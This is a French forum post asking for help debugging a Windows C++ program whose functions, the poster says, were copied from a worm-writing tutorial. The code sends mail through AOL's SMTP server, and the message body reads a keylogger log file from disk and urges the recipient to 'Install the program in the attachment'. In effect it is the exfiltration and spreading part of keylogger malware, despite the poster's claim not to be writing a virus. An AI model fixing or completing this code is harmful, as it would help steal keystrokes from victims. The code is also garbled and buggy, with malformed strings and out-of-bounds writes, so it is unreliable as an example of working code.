Voilà j'essaye d'envoyer un mail sur ma boite à lettres avec une pièce jointe :
j'essaye de bidouiller un petit programme dont les fonctions ont été recopiées en grande partie sur le e-worm piece by piece.
le programme une fois compilée fonctionne et ne retourne pas d'erreur mais je ne reçois rien dans ma boite.( Je ne cherche pas à faire un virus).
Au niveau compréhension si quelqu'un peut jeter un coup d'oeil au source :
(les slashs remplacent mon pseudo aol)
// Mail4.cpp : Defines the entry point for the application.
//
#define _WIN32_WINNT 0x0500
#include "stdafx.h"
#include <fstream.h>
#include <tlhelp32.h>
#include <string.h>
#include <stdlib.h>
#include <winsock2.h>
#include <windows.h>
#pragma comment(lib, "ws2_32.lib")
WORD version=MAKEWORD(1,1);
WSADATA wsaData;
char Buf[256];
char myBuf[256];
char server[]="mail.aol.com";
char email[]="//////[mailto:MttCharl@aol.com @aol.com]";
char helo[]="aol.com";
char emails[50] [100];
char windir[MAX_PATH];
char ch[1];
SOCKET theSocket;
int err=0;
int sending=0;
int i;
int connected=0;
int nRet;
double k;
void sendmail();
int conect();
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
conect();
return 0;
}
void sendmail()
{
sending=1;
strcpy(myBuf,"HELO <");
strcat(myBuf,helo);
strcat(myBuf,">\x0d\x0a");
send(theSocket,myBuf,strlen(myBuf),0);
recv(theSocket,Buf,sizeof(Buf),0);
if (Buf[0]=='2' && Buf[1]=='5' && Buf[2]=='0')
{
strcpy(myBuf,"MAIL FROM:<");
strcat(myBuf,email);
strcat(myBuf,">\x0d\x0a");
send(theSocket,myBuf,strlen(myBuf),0);
recv(theSocket,Buf,sizeof(Buf),0);
}
if (Buf[0]=='4' || Buf[0]=='5') err=1;
if (Buf[0]=='2' && Buf[1]=='5' && Buf[2]=='0' && err==0)
{
strcpy(myBuf,"RCPT TO:<");
strcat(myBuf,email);
strcat(myBuf,">\x0d\x0a");
send(theSocket,myBuf,strlen(myBuf),0);
recv(theSocket,Buf,sizeof(Buf),0);
}
if (Buf[0]=='4' || Buf[0]=='5') err=1;
if (Buf[0]=='2' && Buf[1]=='5' && err==0)
{
strcpy(myBuf,"DATA\x0d\x0a");
send(theSocket,myBuf,strlen(myBuf),0);
recv(theSocket,Buf,sizeof(Buf),0);
}
if (Buf[0]=='4' || Buf[0]=='5') err=1;
if (Buf[0]=='3' && Buf[1]=='5' && Buf[2]=='4' && err==0)
{
if (stricmp(email,"//////[mailto:MttCharl@aol.com>\x0d\x0a @aol.com>\x0d\x0a]");
send(theSocket,myBuf,strlen(myBuf),0);
strcpy(myBuf,"From: "Matthieu"<//////[mailto:MttCharl@aol.com>\x0d\x0a @aol.com>\x0d\x0a]");
send(theSocket,myBuf,strlen(myBuf),0);
strcpy(myBuf,"Subject:Mail par Matthieu \x0d\x0a");
send(theSocket,myBuf,strlen(myBuf),0);
}
strcpy(myBuf,"MIME-Version:1.0\x0d\x0a");
send(theSocket,myBuf,strlen(myBuf),0);
strcpy(myBuf,"Content-Type: multipart/mixed;\x0d\x0a");
send(theSocket,myBuf,strlen(myBuf),0);
strcpy(myBuf," boundary = "bla"\x0d\x0a");
send(theSocket,myBuf,strlen(myBuf),0);
strcpy(myBuf,"X-Priority: 3\x0d\x0a");
send(theSocket,myBuf,strlen(myBuf),0);
strcpy(myBuf,"X -MSMail - Priority: 3\x0d\x0a");
send(theSocket,myBuf,strlen(myBuf),0);
strcpy(myBuf,"X-Mailer:mailer@localhost\x0d\x0a\x0d\x0a");
send(theSocket,myBuf,strlen(myBuf),0);
strcpy(myBuf,"This is a multi-part message in MIME format.\x0d\x0a\x0d\x0a");
send(theSocket,myBuf,strlen(myBuf),0);
strcpy(myBuf,"--bla\x0d\x0a");
send(theSocket,myBuf,strlen(myBuf),0);
strcpy(myBuf,"Content-Type: text/plain; charset:us-ascii\x0d\x0a\x0d\x0a");
send(theSocket,myBuf,strlen(myBuf),0);
strcpy(myBuf,"Install the program in the attachment\x0d\x0a\x0d\x0a");
send(theSocket,myBuf,strlen(myBuf),0);
strcpy(myBuf,"Content-Transfer-Encoding: base64\x0d\x0a");
send(theSocket,myBuf,strlen(myBuf),0);
fstream f("C:\\CODE\\C\\KBDLOG\\K1.log",ios::in);
for (k=0;k<8192;k++)
{
f.get(ch[1]);
strcpy(myBuf,&ch[1]);
send (theSocket,myBuf,strlen(myBuf),0);
}
f.close();
strcpy(myBuf,"\x0d\x0a--bla--\x0d\x0a");
send(theSocket,myBuf,strlen(myBuf),0);
strcpy(myBuf,"\x0d\x0a.\x0d\x0a");
send(theSocket,myBuf,strlen(myBuf),0);
recv(theSocket,Buf,sizeof(Buf),0);
}
if (Buf[0]=='4' || Buf[0]=='5') err=1;
{
strcpy(myBuf,"QUIT\x0d\x0a");
send(theSocket,myBuf,strlen(myBuf),0);
}
}
int conect()
{
i=WSAStartup(version,&wsaData);
if (i!=0) {return(0);}
LPHOSTENT lpHostEntry;
lpHostEntry=gethostbyname(server);
if (lpHostEntry==NULL)
{
WSACleanup();
connected=0;
return(0);
} else connected=1;
theSocket=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if (theSocket==INVALID_SOCKET)
{
WSACleanup();
connected=0;
return (0);
}
SOCKADDR_IN saServer;
saServer.sin_family=AF_INET;
saServer.sin_addr=*((LPIN_ADDR)*lpHostEntry->h_addr_list);
saServer.sin_port=htons(25);
nRet=connect(theSocket,(LPSOCKADDR)&saServer,sizeof(struct sockaddr));
if (nRet==SOCKET_ERROR)
{
WSACleanup();
connected=0;
return (0);
}
nRet=recv(theSocket,Buf,sizeof(Buf),0);
if (nRet==SOCKET_ERROR)
{
WSACleanup();
connected=0;
return (0);
}
if (Buf[0]=='4' || Buf[0]=='5') err=1;
if (Buf[0]=='2' && Buf[1]=='2' && Buf[2]=='0')
{
sendmail();
}
closesocket(theSocket);
WSACleanup();
return 0;
}
Afficher la suite